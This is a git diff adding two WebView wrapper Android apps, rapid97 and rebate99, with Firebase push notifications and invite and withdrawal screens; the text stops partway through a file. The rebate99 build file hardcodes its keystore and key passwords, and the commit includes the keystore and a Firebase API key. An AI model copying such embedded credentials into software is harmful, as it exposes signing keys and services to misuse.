build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/rapid97/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/rapid97/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/rapid97/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/rapid97/src/main/AndroidManifest.xml b/rapid97/src/main/AndroidManifest.xml new file mode 100644 index 0000000..3526401 --- /dev/null +++ b/rapid97/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rapid97/src/main/java/com/web/rapid97/MainActivity.java b/rapid97/src/main/java/com/web/rapid97/MainActivity.java new file mode 100644 index 0000000..1905294 --- /dev/null +++ b/rapid97/src/main/java/com/web/rapid97/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.rapid97; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 195; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://rapid97c.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#0c463a"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#1c312a"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/rapid97/src/main/java/com/web/rapid97/MyFirebaseMessageingService.java b/rapid97/src/main/java/com/web/rapid97/MyFirebaseMessageingService.java new file mode 100644 index 0000000..0c53c8b --- /dev/null +++ b/rapid97/src/main/java/com/web/rapid97/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.rapid97; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/rapid97/src/main/java/com/web/rapid97/WebApplication.java b/rapid97/src/main/java/com/web/rapid97/WebApplication.java new file mode 100644 index 0000000..7c2c2d7 --- /dev/null +++ b/rapid97/src/main/java/com/web/rapid97/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.rapid97; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/rapid97/src/main/res/drawable-anydpi/ic_action_back.xml b/rapid97/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/rapid97/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/rapid97/src/main/res/drawable-hdpi/ic_action_back.png b/rapid97/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/rapid97/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/rapid97/src/main/res/drawable-mdpi/ic_action_back.png b/rapid97/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/rapid97/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/rapid97/src/main/res/drawable-v24/ic_launcher_foreground.xml b/rapid97/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/rapid97/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/drawable-xhdpi/ic_action_back.png b/rapid97/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/rapid97/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/rapid97/src/main/res/drawable-xxhdpi/ic_action_back.png b/rapid97/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/rapid97/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/rapid97/src/main/res/drawable/big_bg.xml b/rapid97/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..cd893e7 --- /dev/null +++ b/rapid97/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/drawable/ic_launcher_background.xml b/rapid97/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/rapid97/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/rapid97/src/main/res/drawable/input_bg.xml b/rapid97/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/rapid97/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/rapid97/src/main/res/drawable/pass_word_bg.xml b/rapid97/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/rapid97/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/rapid97/src/main/res/drawable/pass_word_bg1.xml b/rapid97/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/rapid97/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/drawable/pass_word_bg2.xml b/rapid97/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/rapid97/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/drawable/shape_btn_bg.xml b/rapid97/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/rapid97/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/drawable/shape_dialog_bg2.xml b/rapid97/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/rapid97/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/drawable/shape_dialog_bg3.xml b/rapid97/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/rapid97/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/drawable/shape_dialog_bg_new.xml b/rapid97/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/rapid97/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/rapid97/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/rapid97/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/rapid97/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/rapid97/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/mipmap-hdpi/ic_empty.png b/rapid97/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/rapid97/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/rapid97/src/main/res/mipmap-hdpi/ic_pull_down.png b/rapid97/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/rapid97/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/rapid97/src/main/res/mipmap-xhdpi/ic_close.png b/rapid97/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/rapid97/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/rapid97/src/main/res/mipmap-xhdpi/ic_menu.png b/rapid97/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/rapid97/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/rapid97/src/main/res/mipmap-xxhdpi/app_logo.png b/rapid97/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..2729f65 Binary files /dev/null and b/rapid97/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/rapid97/src/main/res/values-en/strings.xml b/rapid97/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/rapid97/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/rapid97/src/main/res/values-night/themes.xml b/rapid97/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/rapid97/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/values/colors.xml b/rapid97/src/main/res/values/colors.xml new file mode 100644 index 0000000..e88bba3 --- /dev/null +++ b/rapid97/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #0c463a + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/rapid97/src/main/res/values/strings.xml b/rapid97/src/main/res/values/strings.xml new file mode 100644 index 0000000..b1b6f6d --- /dev/null +++ b/rapid97/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + RAPID97 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/values/themes.xml b/rapid97/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/rapid97/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/xml/app_updater_paths.xml b/rapid97/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/rapid97/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/xml/network_security_config.xml b/rapid97/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/rapid97/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/rapid97/src/main/res/xml/provider_paths.xml b/rapid97/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/rapid97/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/rapid97/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/rapid97/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/rapid97/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/rebate99/.gitignore b/rebate99/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/rebate99/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/rebate99/build.gradle b/rebate99/build.gradle new file mode 100644 index 0000000..e646410 --- /dev/null +++ b/rebate99/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.rebate99" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "rebate99" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base') +} \ No newline at end of file diff --git a/rebate99/google-services.json b/rebate99/google-services.json new file mode 100644 index 0000000..8e73534 --- /dev/null +++ b/rebate99/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "753428465731", + "project_id": "rebate99-d7fd7", + "storage_bucket": "rebate99-d7fd7.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:753428465731:android:f80c1d02372f17812decf6", + "android_client_info": { + "package_name": "com.web.rebate99" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCBxd_V4hc4o3NICXybYb0krKg0Uyua4Xk" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/rebate99/ppn.jks b/rebate99/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/rebate99/ppn.jks differ diff --git a/rebate99/proguard-rules.pro b/rebate99/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/rebate99/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/rebate99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/rebate99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/rebate99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/rebate99/src/main/AndroidManifest.xml b/rebate99/src/main/AndroidManifest.xml new file mode 100644 index 0000000..d210f94 --- /dev/null +++ b/rebate99/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rebate99/src/main/java/com/web/rebate99/MainActivity.java b/rebate99/src/main/java/com/web/rebate99/MainActivity.java new file mode 100644 index 0000000..c55598f --- /dev/null +++ b/rebate99/src/main/java/com/web/rebate99/MainActivity.java @@ -0,0 +1,44 @@ +package com.web.rebate99; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 146; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://mekdigi.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#b88f4d"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#011d4d"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/rebate99/src/main/java/com/web/rebate99/MyFirebaseMessageingService.java b/rebate99/src/main/java/com/web/rebate99/MyFirebaseMessageingService.java new file mode 100644 index 0000000..c64645e --- /dev/null +++ b/rebate99/src/main/java/com/web/rebate99/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.rebate99; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= 